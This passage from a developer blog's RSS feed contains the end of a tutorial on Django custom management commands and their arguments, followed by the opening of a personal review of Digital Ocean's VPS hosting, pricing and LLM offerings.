style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ERROR(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Error text&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;stdout&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;style&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;WARNING(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Warning text&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To display text on the terminal we will use &lt;em&gt;self.stdout.write&lt;/em&gt; to print text to standard output. We can select from several styles according to what we want to display.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-add-arguments-to-a-django-command&#34;&gt;How to add arguments to a django command&lt;/h2&gt;&#xA;&lt;p&gt;Django uses Python&amp;rsquo;s famous &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3/library/argparse.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;argparse&lt;/a&gt;&#xA; library to handle the arguments in its commands&lt;/p&gt;&#xA;&lt;h3 id=&#34;positional-arguments&#34;&gt;Positional arguments&lt;/h3&gt;&#xA;&lt;p&gt;We can add &lt;strong&gt;positional arguments&lt;/strong&gt; to the command using the &lt;em&gt;add_argument&lt;/em&gt; method of &lt;em&gt;parser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_arguments&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, parser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;, nargs&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;+&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We specify the name of the positional argument as the first argument, then the number of arguments it will receive. The &amp;lsquo;+&amp;rsquo; symbol states that those arguments will be placed in a list, while &lt;em&gt;type&lt;/em&gt; is the type of values the argument will receive.&lt;/p&gt;&#xA;&lt;p&gt;You have probably already noticed that the handle function takes &lt;em&gt;*args&lt;/em&gt; and &lt;em&gt;**options&lt;/em&gt; as arguments. Well, we can access the values through the &lt;em&gt;options&lt;/em&gt; dictionary.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_arguments&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, parser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;, nargs&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;+&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# options[&amp;#39;email&amp;#39;] is a list&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        send_emails(options[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;optional-arguments-in-a-django-command&#34;&gt;Optional arguments in a django command&lt;/h3&gt;&#xA;&lt;p&gt;What if I want optional arguments? Yes, that is also possible.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;Command&lt;/em&gt; class, through its parser, also allows us to use optional arguments.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_arguments&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, parser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Named (optional) arguments&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_argument(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;--file&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            nargs&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;?&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            const&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;logo.svg&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            help&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;this is help text&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; options[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;file&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;.svg&amp;#39;&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            process_svg()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you are probably wondering what all those arguments we pass to &lt;em&gt;add_argument&lt;/em&gt; mean.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll tell you right now:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Prefix &amp;lsquo;&amp;ndash;&amp;rsquo;&lt;/strong&gt;: tells Argparse that it is an optional argument.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;nargs&lt;/strong&gt;: indicates the number of values our argument can receive, the &amp;lsquo;+&amp;rsquo; symbol in this case is for one or none.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;const:&lt;/strong&gt; is the value to use if we do not specify any value for the argument.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;type:&lt;/strong&gt; tells us the type of data our argument expects.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;help:&lt;/strong&gt; is the help text to display.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;execute-a-custom-django-command&#34;&gt;Execute a custom django command&lt;/h2&gt;&#xA;&lt;p&gt;And how do we execute it? Easy; just like you would do for any other django command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py yourcommand&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# with one position argument&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python managa.py yourcommand email admin@example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# with an optional argument&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py yourcommand --file&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;your_file.ext&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There, if you&amp;rsquo;ve read the whole thing, you now know the basics of creating django commands. But don&amp;rsquo;t stop there, visit &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/howto/custom-management-commands/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official django documentation&lt;/a&gt;&#xA; to learn more.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;You have used Django before, haven&amp;rsquo;t you? So, you already used some Django command, it could have been makemigrations, migrate, startproject, startapp or some other. But have you ever created any? Maybe you haven&amp;rsquo;t. Read on to learn how.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-create-a-command-in-django&#34;&gt;How to create a command in django&lt;/h2&gt;&#xA;&lt;p&gt;To create a django command just create a folder called &lt;em&gt;management&lt;/em&gt; at the same level as your &lt;em&gt;manage.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir management&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Subsequently, create a folder called commands inside this folder&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>My Digital Ocean review, analysis and my experience as a user</title>
      <link>https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/</link>
      <pubDate>Thu, 14 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve been using Digital Ocean for my personal projects for several years, so Let me tell how it has been so far and what can of services you can find there.&lt;/p&gt;&#xA;&lt;h2 id=&#34;droplets-or-vps-on-digital-ocean&#34;&gt;Droplets or VPS on Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;Droplets are my favorite resource in Digital Ocean. Droplets are virtual servers that are rented to you by hour. When you create a Droplet you can choose different operating systems and versions. You can access the terminal of any Droplet through its web page or through the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;ssh command&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Once you click the button a Droplet is available in less than a minute.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-de-digital-ocean.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-de-digital-ocean.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Images available for Digital Ocean droplets&#34; width=&#34;1272&#34; height=&#34;508&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;customized-images-in-droplets&#34;&gt;Customized images in Droplets&lt;/h3&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t want to start from a brand new operating system installation you can opt for some more specific &lt;strong&gt;images that include pre-installed software for the most popular software requirements&lt;/strong&gt;: web development, data science, blogging, frameworks, media, storage, elearning, ecommerce, etc.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547051/Marketplace-digital-ocean_q3h4lb.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547051/Marketplace-digital-ocean_q3h4lb.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Images available for Digital Ocean droplets&#34; width=&#34;1301&#34; height=&#34;543&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;For example, you can choose an Express JS template and it will have Node installed and an Express server running&lt;/p&gt;&#xA;&lt;h4 id=&#34;installing-n8n-on-digital-ocean&#34;&gt;Installing n8n on Digital Ocean&lt;/h4&gt;&#xA;&lt;p&gt;Or more recently, you can install n8n with just one click and pointing your DNS records to a custom subdomain using n8n&amp;rsquo;s template.&lt;/p&gt;&#xA;&lt;p&gt;Customized images will save you some time configuring the operative system and sometimes it is just a matter of CTRL + C and CTRL + V to get your app running. I&amp;rsquo;ve used Django, Wordpress and MERN stack, can recommend them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;droplets-according-to-your-needs&#34;&gt;Droplets according to your needs&lt;/h3&gt;&#xA;&lt;p&gt;Digital Ocean also has specialized Droplets, either in CPU, memory or storage and a general purpose version. But you&amp;rsquo;re not here for that, right? You&amp;rsquo;re probably on a Budget, don&amp;rsquo;t worry, we&amp;rsquo;re all.&lt;/p&gt;&#xA;&lt;p&gt;Digital Ocean offers some of the most basic, and cheapest VPS out there (except for Hostinger and Akamai, but I&amp;rsquo;ll talk about it later).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-purpose.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Droplets-purpose.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Types of plans for Digital Ocean&#34; width=&#34;1273&#34; height=&#34;163&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;the-cheap-but-reliable-vps-of-digital-ocean&#34;&gt;The cheap but reliable VPS of Digital Ocean&lt;/h3&gt;&#xA;&lt;p&gt;Ok, but what&amp;rsquo;s the price? Well, the answer is obvious: it depends.&lt;/p&gt;&#xA;&lt;p&gt;Just to give you an idea, the cheapest Droplet costs &lt;del&gt;$5 usd per month&lt;/del&gt; $4 usd per month. That&amp;rsquo;s practically nothing and for a small website it&amp;rsquo;s usually more than enough. By way of comparison, Vercel hosts your application for free with certain limitations, their next plan, at the time of writing this article, costs $20 usd per month.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s suppose you can serve 1 RPS with that, that means 60 requests in a minute 3600 in an hour and 86400 in one day. If you can&amp;rsquo;t monetize with that traffic you don&amp;rsquo;t have technical problem, but a marketing problem. Remember, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/dont-obsess-about-your-web-application-performance/&#34;&gt;don&amp;rsquo;t obssess about your web application performance&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h4 id=&#34;do-vps-use-hdd-or-ssd&#34;&gt;Do VPS use HDD or SSD?&lt;/h4&gt;&#xA;&lt;p&gt;Notice how all plans handle storage with an SSD, so don&amp;rsquo;t worry about r/w speed.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Precios-digital-ocean.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/Precios-digital-ocean.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Prices of the different plans offered by Digital Ocean&#34; width=&#34;1350&#34; height=&#34;502&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;cloud-provider-with-servers-around-the-world&#34;&gt;Cloud provider with servers around the world&lt;/h3&gt;&#xA;&lt;p&gt;Digital Ocean has servers in different locations around the world. So you always have an option close to your customers. Remember that a long TTFB is a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/seo/my-technical-seo-mistakes-when-i-migrated-my-site-from-wordpress/&#34;&gt;technical SEO mistake&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I have ONLY used the servers in the United States and Canada, due to the proximity to Mexico, and I have not had any problem so far. Also I&amp;rsquo;m aware that they have servers in Europe and Asia, so feel free to try them.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/diferentes-ubicaciones-droplets-digital-ocean.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/images/diferentes-ubicaciones-droplets-digital-ocean.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Digital Ocean Server Locations&#34; width=&#34;1260&#34; height=&#34;383&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;digital-ocean-vs-hostinger&#34;&gt;Digital Ocean vs Hostinger&lt;/h2&gt;&#xA;&lt;p&gt;I found that Hostinger VPS are way cheaper then Digital Ocean, they practically double the resources being offered by Digital Ocean. However, I&amp;rsquo;ve listened to a few complaint from devs on facebook, I haven&amp;rsquo;t tested Hostinger though, but just look at this &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/webhosting/comments/1h0x6fh/is_there_a_catch_here_why_choose_digitalocean/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Reddit Thread about digital Ocean vs Hostinger&lt;/a&gt;&#xA;, notice how it seems to be of common knowledge that you shouldn&amp;rsquo;t trust Hostinger, nothing against hostinger but the comments scared me away.&lt;/p&gt;&#xA;&lt;p&gt;I really don&amp;rsquo;t want to deal with problems for such small difference in price. If you have any experience using Hostinger that can be double-checked, I&amp;rsquo;d be happy to update this post and include your opinion.&lt;/p&gt;&#xA;&lt;h2 id=&#34;renting-llms-on-digital-ocean&#34;&gt;Renting LLMs on Digital Ocean&lt;/h2&gt;&#xA;&lt;p&gt;The other day I was checking my invoices and realized that they&amp;rsquo;re now offering LLM on demand, and not only ChatGPT, but a lot more, each one of them with its own price you can connect them to your Droplets, Apps or services and use them, they will take care of the rest. The prices can change, so don&amp;rsquo;t rely on this image, use it only as a reference.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1755547643/Digital-Ocean-AI-models-available_t15vfg.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img 